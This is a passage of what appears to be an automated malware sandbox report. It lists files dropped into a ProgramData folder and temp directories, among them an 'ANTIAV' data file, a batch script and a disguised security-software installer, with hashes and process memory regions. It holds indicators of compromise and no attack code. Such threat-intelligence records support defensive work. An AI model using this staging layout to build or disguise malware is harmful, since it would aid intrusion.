                                                                            • C:\ProgramData\gwwDQz\extracted\ANTIAV~1.DAT
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              97d98aefd7b7b08f319944e1874deebe

                                                                              SHA1

                                                                              f82c7bb1fdbd89fea52ed908b39e257531993891

                                                                              SHA256

                                                                              214b1ef3589c523bdcf755fb99258b98b73a69fec3fa20ebf0d58cc448d503bf

                                                                              SHA512

                                                                              d777c15c0c17e322c1e5da8becf03a3470ad3a8c8bc3cc161e34aa8c7c29e3d42e1c9d4c00851f6b6b3aed5a4fef3e2426b854d71e69f750ca20a7149b718ff9

                                                                            • C:\ProgramData\gwwDQz\extracted\file_1.zip
                                                                              Filesize

                                                                              609KB

                                                                              MD5

                                                                              d96411b2549a1fc2ccce6bdd326d110d

                                                                              SHA1

                                                                              102c6c67bd88120ec9ea05754c5d93f83a1d7b16

                                                                              SHA256

                                                                              45d998c6ee1fe0cf9c642c603d09fd15d8f07f271bd6db3e2aa47826303c3525

                                                                              SHA512

                                                                              2ce1276fd4e05684f9f49ffbb41d9de683b6f24d5d6ede810e1734507ff1a1c85b019ddb8c88568788d253fae5830905a8ab3aabdd14eb919db627501e9ae0ba

                                                                            • C:\ProgramData\gwwDQz\extracted\file_2.zip
                                                                              Filesize

                                                                              610KB

                                                                              MD5

                                                                              d0fdf92dde7762119f8e0f32220e08e1

                                                                              SHA1

                                                                              3e764b144e357d440573b648f42546d698ea518c

                                                                              SHA256

                                                                              7ff35e1065a5976dc0ac12443899830d6eb3b52b3707dc56ea226e741c4b46e5

                                                                              SHA512

                                                                              e7f1d26114efe32f87aa7bc27583a985c2f0d1930013881660813c8e93091d91783ea68f102c366ee99434b57c72fe85a32b6ee95233f98149c2ea67890dfd79

                                                                            • C:\ProgramData\gwwDQz\extracted\file_3.zip
                                                                              Filesize

                                                                              610KB

                                                                              MD5

                                                                              3c11c0f89f566f0f6e14686882b07f49

                                                                              SHA1

                                                                              7ac15cb7a2eb174eb07881faceeaff6f6b98a339

                                                                              SHA256

                                                                              534e00106e0270d059dfdf6d42d88f420d00c596376b67276154e44b12459590

                                                                              SHA512

                                                                              89db7c7cd7c35ca92d6db20bb6afddfb49904e9e6801a2f7ad85505e5a22483cbe085a878079a96a2bc4b5e73e8bb336020787f04f205b0aa74cd8568052ea51

                                                                            • C:\ProgramData\gwwDQz\extracted\file_4.zip
                                                                              Filesize

                                                                              610KB

                                                                              MD5

                                                                              0385cf9bdda54c9ba07faea44220c9e1

                                                                              SHA1

                                                                              f5c1ebef15cecc8fed8d3762dad6d4ab5255b2c6

                                                                              SHA256

                                                                              0da08137871a2891f0525b19579a64134d17ab61cf37a95812fbe8a236fba6ee

                                                                              SHA512

                                                                              db01adbf01e61eadc57885ccca61aeabbb69c51ca0207e8acfcb5b71cadb8d22583d3d49494436a14583e7fcebbc9a0e6a44b0edad965ed5c00c2dedbac5d029

                                                                            • C:\ProgramData\gwwDQz\extracted\file_5.zip
                                                                              Filesize

                                                                              610KB

                                                                              MD5

                                                                              af405222e2dad5da6b33edde5967174d

                                                                              SHA1

                                                                              4aa096c430c9fcd9f58a75743a2e20ccec845e5b

                                                                              SHA256

                                                                              665ba6290e26a4dea64a4c4c4a578e9767988687f84f1d2f6437b5e065ff8fce

                                                                              SHA512

                                                                              f33e8e7f9290a0b4851cda080c3fe1fa2799bbb10a789a6650f254de67dd211e1da28e1ef5b04b1d6f0a368711fcc78c70556e79026bb6aafc59909be6612222

                                                                            • C:\ProgramData\gwwDQz\extracted\file_6.zip
                                                                              Filesize

                                                                              610KB

                                                                              MD5

                                                                              23d237af7d278e0366fd689bb2344b0f

                                                                              SHA1

                                                                              0a40810f9492828c2b38529e36beea0168a0ac6d

                                                                              SHA256

                                                                              4db2f5eef1728764d041cf30260e3dd9f69ae8e951fa1e6f26c87b8d7191f4e7

                                                                              SHA512

                                                                              7ca50903f8ba0072d1bd6773e82e7fb64373f71d1f0ea1406c898ab6b7ef18455b54562120d18338ce6cd2367c1c029497fe8070098f445be44ce500f3685633

                                                                            • C:\ProgramData\gwwDQz\extracted\file_7.zip
                                                                              Filesize

                                                                              2MB

                                                                              MD5

                                                                              cb673a337d14ca77e029c3ab1d83b5f2

                                                                              SHA1

                                                                              121b68a4fb439fde97cc9c3212d639ff687010c8

                                                                              SHA256

                                                                              c8ed0c9d09c2473a11411539361e3fccdc26bcb8b24a027bef226aa6ac5b7f31

                                                                              SHA512

                                                                              45ae69170e6afe7137719229b56133fd75b98b6fd6d785edc051ca710c08cb6e67dc80166f8b4177a28a5d397922b9133315036d609b3fbf09d5d6335babc25d

                                                                            • C:\ProgramData\gwwDQz\file.bin
                                                                              Filesize

                                                                              2MB

                                                                              MD5

                                                                              aacf4ae62e219a2c8bd07adbc17f4904

                                                                              SHA1

                                                                              081ea7cbc7b5ed56ed6e7bfa3356c6780f83349a

                                                                              SHA256

                                                                              58b227438cfdbe494c8afeb257aa0bf58cae147a89ad17080a6580210d78114e

                                                                              SHA512

                                                                              a180cb14c351a577f8b17c3ad6ce2a1eef97c5fa7cee41e91574e0ca41f3e938e5d1a5fb7fdbd24c5ab7d62489e2aaf1b574ba1bfb17fc5c310ac5e820e6803c

                                                                            • C:\ProgramData\gwwDQz\main.bat
                                                                              Filesize

                                                                              393B

                                                                              MD5

                                                                              1828cdda990543dc4a12e9c4fc6b3258

                                                                              SHA1

                                                                              bbc867e49f7bed6d1ec49706a38c63ed04fd1965

                                                                              SHA256

                                                                              bcb35515f11da8cd24453027eeea2ffa68bcaa0c5dd0a305281d716ff76e48ee

                                                                              SHA512

                                                                              90c1b6ead9cc93c241b962e6e447c0e3b23f3d1fc1245e032dd19e0381076f0dd63d39b5f3937d58fd26aa8cc640f3da767d2dff820aea6c406771f3f6853857

                                                                            • C:\Users\Admin\AppData\Local\Temp\4acacee3-cefe-4dab-b6f1-01f9a63ec79a\e.dll
                                                                              Filesize

                                                                              94KB

                                                                              MD5

                                                                              14ff402962ad21b78ae0b4c43cd1f194

                                                                              SHA1

                                                                              f8a510eb26666e875a5bdd1cadad40602763ad72

                                                                              SHA256

                                                                              fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

                                                                              SHA512

                                                                              daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

                                                                            • C:\Users\Admin\AppData\Local\Temp\is-867N7.tmp\SetupHelper.dll
                                                                              Filesize

                                                                              2MB

                                                                              MD5

                                                                              3c44a29e1453c1e9d33b1b277a8940f3

                                                                              SHA1

                                                                              e17812d2e4a1cd66db232b655931156a454edc51

                                                                              SHA256

                                                                              77ee545668ce1ed53b90643df71591be64616289330164f596c9ae482ac1bff6

                                                                              SHA512

                                                                              77b824c2fedeb2db057c811c2bac04c468406c268cdabb16b56b9beb9919161ebe223116dd042d8de78df989930a74b63fa7eab58f2aa3cf49f2a300549ab284

                                                                            • C:\Users\Admin\AppData\Local\Temp\is-EVSKJ.tmp\4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.tmp
                                                                              Filesize

                                                                              2MB

                                                                              MD5

                                                                              78de2cc886a53e4445ad82a3c80c3e9d

                                                                              SHA1

                                                                              57222f63b9b76d1412a81093e8bf1884482c887c

                                                                              SHA256

                                                                              92ecc5eca7d2f1e0ce3edeffdafa4d32ab4179de9ce214ae6e83500b4ddb46a7

                                                                              SHA512

                                                                              1a3a5d7f47fb477a1d1360a3822785892bd58312569074c51f26221b3b51c931336f2b3f5fc5ec87035405ae9f0ff2f344233d85763f18ac269ddc4ab226d8e5

                                                                            • C:\Users\Admin\AppData\Local\Temp\is-J6NBU.tmp\_isetup\_iscrypt.dll
                                                                              Filesize

                                                                              2KB

                                                                              MD5

                                                                              a69559718ab506675e907fe49deb71e9

                                                                              SHA1

                                                                              bc8f404ffdb1960b50c12ff9413c893b56f2e36f

                                                                              SHA256

                                                                              2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

                                                                              SHA512

                                                                              e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

                                                                            • C:\Users\Admin\AppData\Local\Temp\is-J7PQG.tmp\avast_secureline_setup.tmp
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              da90198fded517a2d897f3267301de22

                                                                              SHA1

                                                                              a69f7afa2663861c84a8e2a7dea86d6ca47fa348

                                                                              SHA256

                                                                              7105e30dc53c57c14a59eac0e6504a2174cfa4ac18470c2345c5b77bd34e440d

                                                                              SHA512

                                                                              28a0a95d4abd028eb862d8957d0242a1c6b24fd0bea674478e7f0c44a679f1c7bc162ef878c2cbb5b125f05cb2bc032c5ccb6b90fe5975e2c2a8c9e1ee1bc713

                                                                            • memory/360-230-0x0000000005400000-0x0000000005444000-memory.dmp
                                                                              Filesize

                                                                              272KB

                                                                            • memory/360-231-0x0000000005510000-0x00000000055A2000-memory.dmp
                                                                              Filesize

                                                                              584KB

                                                                            • memory/360-233-0x00000000738A0000-0x0000000073929000-memory.dmp
                                                                              Filesize

                                                                              548KB

                                                                            • memory/360-229-0x0000000005A20000-0x0000000005FC4000-memory.dmp
                                                                              Filesize

                                                                              5MB

                                                                            • memory/360-228-0x0000000000960000-0x0000000000A56000-memory.dmp
                                                                              Filesize

                                                                              984KB

                                                                            • memory/360-226-0x0000000000000000-mapping.dmp
                                                                            • memory/436-157-0x0000000000000000-mapping.dmp
                                                                            • memory/528-149-0x0000000000000000-mapping.dmp
                                                                            • memory/796-162-0x0000000000000000-mapping.dmp
                                                                            • memory/800-167-0x0000000000000000-mapping.dmp
                                                                            • memory/952-170-0x0000000000000000-mapping.dmp
                                                                            • memory/980-168-0x0000000000000000-mapping.dmp
                                                                            • memory/1032-180-0x0000000000000000-mapping.dmp
                                                                            • memory/1116-148-0x0000000000000000-mapping.dmp
                                                                            • memory/1492-130-0x0000000000400000-0x00000000004CC000-memory.dmp
                                                                              Filesize

                                                                              816KB

                                                                            • memory/1492-132-0x0000000000400000-0x00000000004CC000-memory.dmp
                                                                              Filesize

                                                                              816KB

                                                                            • memory/1508-190-0x0000000000000000-mapping.dmp
                                                                            • memory/1584-192-0x0000000000000000-mapping.dmp
                                                                            • memory/1648-153-0x0000000000000000-mapping.dmp
                                                                            • memory/1652-175-0x0000000000000000-mapping.dmp
                                                                            • memory/1664-159-0x0000000000000000-mapping.dmp
                                                                            • memory/1676-174-0x0000000000000000-mapping.dmp
                                                                            • memory/1696-176-0x0000000000000000-mapping.dmp
                                                                            • memory/1720-142-0x0000000000000000-mapping.dmp
                                                                            • memory/1752-161-0x0000000000000000-mapping.dmp
                                                                            • memory/1768-144-0x0000000000000000-mapping.dmp
                                                                            • memory/1808-151-0x0000000000000000-mapping.dmp
                                                                            • memory/1896-154-0x0000000000000000-mapping.dmp
                                                                            • memory/1900-186-0x0000000000000000-mapping.dmp
                                                                            • memory/1908-141-0x0000000000400000-0x0000000000435000-memory.dmp
                                                                              Filesize

                                                                              212KB

                                                                            • memory/1908-136-0x0000000000000000-mapping.dmp
                                                                            • memory/1908-138-0x0000000000400000-0x0000000000435000-memory.dmp
                                                                              Filesize

                                                                              212KB

                                                                            • memory/2020-212-0x0000000000000000-mapping.dmp
                                                                            • memory/2108-147-0x0000000000000000-mapping.dmp
                                                                            • memory/2220-191-0x0000000000000000-mapping.dmp
                                                                            • memory/2228-187-0x0000000000000000-mapping.dmp
                                                                            • memory/2232-160-0x0000000000000000-mapping.dmp
                                                                            • memory/2272-163-0x0000000000000000-mapping.dmp
                                                                            • memory/2336-173-0x0000000000000000-mapping.dmp
                                                                            • memory/2488-198-0x0000000000000000-mapping.dmp
                                                                            • memory/2520-216-0x0000000000000000-mapping.dmp
                                                                            • memory/2628-184-0x0000000000000000-mapping.dmp
                                                                            • memory/2640-177-0x0000000000000000-mapping.dmp
                                                                            • memory/2832-165-0x0000000000000000-mapping.dmp
                                                                            • memory/2916-133-0x0000000000000000-mapping.dmp
                                                                            • memory/2952-189-0x0000000000000000-mapping.dmp
                                                                            • memory/3036-205-0x0000000000000000-mapping.dmp
                                                                            • memory/3068-181-0x0000000000000000-mapping.dmp
                                                                            • memory/3144-158-0x0000000000000000-mapping.dmp
                                                                            • memory/3160-208-0x0000000000000000-mapping.dmp
                                                                            • memory/3164-178-0x0000000000000000-mapping.dmp
                                                                            • memory/3204-152-0x0000000000000000-mapping.dmp
                                                                            • memory/3400-193-0x0000000000000000-mapping.dmp
                                                                            • memory/3400-150-0x0000000000000000-mapping.dmp
                                                                            • memory/3412-197-0x0000000000000000-mapping.dmp
                                                                            • memory/3608-203-0x0000000000000000-mapping.dmp
                                                                            • memory/3620-200-0x0000000000000000-mapping.dmp
                                                                            • memory/3724-182-0x0000000000000000-mapping.dmp
                                                                            • memory/3808-172-0x0000000000000000-mapping.dmp
                                                                            • memory/3944-166-0x0000000000000000-mapping.dmp
                                                                            • memory/4020-155-0x0000000000000000-mapping.dmp
                                                                            • memory/4024-220-0x0000000000000000-mapping.dmp